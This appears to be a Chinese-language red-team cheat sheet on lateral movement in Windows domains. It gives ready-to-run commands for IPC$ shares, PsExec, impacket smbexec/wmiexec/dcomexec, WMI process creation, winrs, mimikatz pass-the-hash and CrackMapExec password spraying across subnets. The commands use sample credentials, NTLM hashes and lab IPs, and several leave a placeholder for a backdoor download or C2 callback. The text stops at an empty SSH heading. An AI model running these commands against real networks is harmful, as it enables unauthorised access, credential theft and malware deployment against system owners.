1.域内用户与域外用户
1
2
3
4
5
6
|
当前用户权限为域内用户时:/user:god\administrator
寻找有没有叫god的域,没有就当作计算机名,计算机名为god,登录用户为administrator
如果存在god域,那么就是登录god域下administrator用户权限
当前用户权限为域外用户时:/user:god\administrator ===> /user:administrator 这两个写法
一样,没有区别
|
1.基于ipc管道的横向移动
1
2
3
4
5
|
//利用前提条件
1、目标机开启了139和445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的账户明文密码。
4、域内域外用户均可使用
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
net use //查看本机建立的连接(本机连接其它机器)
net session //查看本机建立的连接(其它机器连接本机需要administrator权限)
net share //查看本地开启的共享
net share ipc$ //开启ipc$共享
net share ipc$ /del //删除ipc$共享
net share admin$ /del //删除admin$共享
net share * /del //删除所有共享
#建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
补充:
#建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
|
2.基于smb(文件打印机服务)协议的横向移动
SMB服务通常由文件服务器提供,它允许客户端计算机通过网络访问服务器上的共享资源。通过SMB用户可以在网络上访问和共享文件夹、文件以及打印机,从而实现在不同计算机之间方便地共享数据和打印输出。利用SMB可通过明文或HASH传递来远程执行。
1
2
3
4
|
#利用前提条件:
1、文件与打印机服务开启,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码或HASH。
|
2.1.通过psexec进行横向移动
交互式,需要文件落地
1
2
3
4
|
PsExec.exe \\10.0.10.100 -u administrator -p P@ssw0rd -s cmd
//hash传递
PsExec.exe -hashes :579da618cfbfa85247acf1f800a280a4 administrator@10.0.10.100
|

2.2.通过impacket工具包进行横向移动
1
2
3
|
python smbexec.py administrator:P@ssw0rd@10.0.1
python smbexec.py -hashes :579da618cfbfa85247acf1f800a280a4 administrator@10.0.10.100 "whoami"
|

2.3.通过CS插件进行横向移动(官方自带插件推荐)


3.wmi(windows管理规范)
https://blog.csdn.net/qq_55202378/article/details/140752928
WMI全称"windows管理规范",从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动,支持用户名明文或者hash的方式进行认证,并自该方法不会在目标日志系统留下痕迹。
1
2
3
4
|
//利用前提条件
1.WMI服务开启,端口135,默认开启。
2.防火墙允许135、445等端口通信。
3.知道目标机的账户密码或HASH。
|
3.1.通过系统wmi命令进行横向移动(无回显单执行,并且只能使用明文不能使用hash)

1
2
3
4
|
# 执行远程查询
shell wmic /node:10.0.10.100 /user:vulntarget\administrator /password:P@ssw0rd process list brief
wmic /node:10.0.10.100 /user:vulntarget\administrator /password:P@ssw0rd process call create "下载后门或者上线命令"
|

3.2.通过impacket工具包中的脚本进行横向移动(Python脚本,建立socks5代理可在本地执行上线,并且支持hash)
1
2
3
4
5
6
|
#通过明文密码
python wmiexec.py administrator:P@ssw0rd@10.0.10.100
python wmiexec.py administrator:P@ssw0rd@10.0.10.100 "whoami"
#通过hash
python wmiexec.py -hashes :579da618cfbfa85247acf1f800a280a4 administrator@10.0.10.100 "whoami"
|

3.3.通过CS插件进行横向移动

4.dcom(分布式组件对象模型)
https://mp.weixin.qq.com/s/9u0kprGbaU1S1BEQWj18AA
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
利用前提条件
1
2
3
4
|
适用Win7系统以上
管理员权限powershell
远程主机防火墙未阻止
支持hash和口令
|
4.1.通过impacket工具包中的脚本进行横向移动
1
|
python dcomexec.py administrator:P@ssw0rd@10.0.10.100
|

或者适用CS的psexec_psh模式进行上线

5.winrs/winrm
https://mp.weixin.qq.com/s/hosfP6WsNC830IwWEEsEkw
https://mp.weixin.qq.com/s/OhVcBWgo7QD-njrnb51VHw
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。
WinRS是内置的命令行工具,用于远程连接运行WinRM的服务器并执行大多数cmd命令
利用前提条件
1
2
3
4
5
6
|
1、win2012 之前利用需要手动开启winRM,在win2012之后(包括win2012)的版本是默认开启的
2、防火墙对5986、5985端口开放。
开启命令:
winrm quickconfig -q
winrm set winrm/config/client @{TrustedHosts="*"
|
1.先探测哪些主机开放5985/5986端口

1
2
3
4
5
|
//添加目标 IP 到信任列表
winrm set winrm/config/client '@{TrustedHosts="10.0.10.100"}'
winrs -r:10.0.10.100 -u:10.0.10.100\administrator -p:P@ssw0rd whoami
winrs -r:10.0.10.100 -u:10.0.10.100\administrator -p:P@ssw0rd "cmd.exe /c certutil --xxx"
|
CS中也有利用

6.pth(Hash传递攻击)
Hash传递攻击的概念
该方法通过找到与账户相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管管理员账号和密码。因此,如果计算机的本地理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。通过哈希传递,攻击者不需要花时间破解密码散列值(进而获得密码明文)。
PTH攻击原理
攻击者可以直接通过LM Hash和NTLM Hash访问远程主机和服务,不需要提供密码。在Windows系统中,通常使用NTLM身份认证,NTLM是明文加密后的hash值。PTH是基于SMB服务(445端口)。
PTH攻击前提条件
1.获取某个用户的hash但无法破解明文
2.域环境中存在其它一样密码的大量主机
1
2
3
|
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 579da618cfbfa85247acf1f800a280a4
|
使用mimikatz进行hash传递攻击
1
|
sekurlsa::pth /user:vulntarget\administrator /domain:vulntarget /ntlm:579da618cfbfa85247acf1f800a280a4
|
使用WMIexec进行hash传递
wmiexec也是基于python编写的,如果目标环境不存在python环境,则需要自己打包成exe后使用
1
2
3
|
pyinstaller --onefile .\wmiexec.py
wmiexec.exe -hashes :e19ccf75ee54e06b06a5907af13cef42 vulntarget/administrator@10.0.10.100 "whoami"
|

使用CrackMapExec进行hash传递攻击
CrackMapExec又名CME,是一款后渗透工具,Kali自带
1
2
3
4
5
6
|
#明文密码攻击
crackmapexec smb 10.0.10.100 -u Administrator -p "P@ssw0rd" -x whoami
#hash传递
crackmapexec smb 10.0.10.100 -u Administrator -H "e19ccf75ee54e06b06a5907af13cef42" -x whoami
#对网段进行扫描
crackmapexec smb 10.0.10.1/24 -u Administrator -H "e19ccf75ee54e06b06a5907af13cef42" -x whoami
|
7.rdp
利用前提:3389端口开放
利用:扫描内网3389端口,Socks代理或者端口转发(WebShell工具自带或者上传工具进行转发),使用mstsc进行连接
7.1.SharpRDP
https://github.com/0xthirteen/SharpRDP
用于认证命令执行的远程桌面协议控制台应用程序
1
|
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
|
7.2.CrackMapExec(密码喷射)
https://github.com/byt3bl33d3r/CrackMapExec
1
2
3
4
5
6
7
8
9
10
|
//kali自带
apt install crackmapexec
crackmapexec smb 192.168.0.1-255 -u user.txt -H hash
crackmapexec smb 192.168.0.1-255 -u user.txt -p pass.txt
crackmapexec smb 192.168.0.1-255 -u user.txt -p pass.txt -X "需要执行的命令,可以为下载木马上线命令"
crackmapexec smb 192.168.0.1-255 -u user.txt -p pass.txt --local-auth 本地用户登录
-d指定域,适用于多域环境
-x指定需要操作的命令,适用于一键上线CS
-h适用于pth hash传递攻击
|

Windows:超级弱口令检测工具或TscanPlus

8.SSH横向(Linux)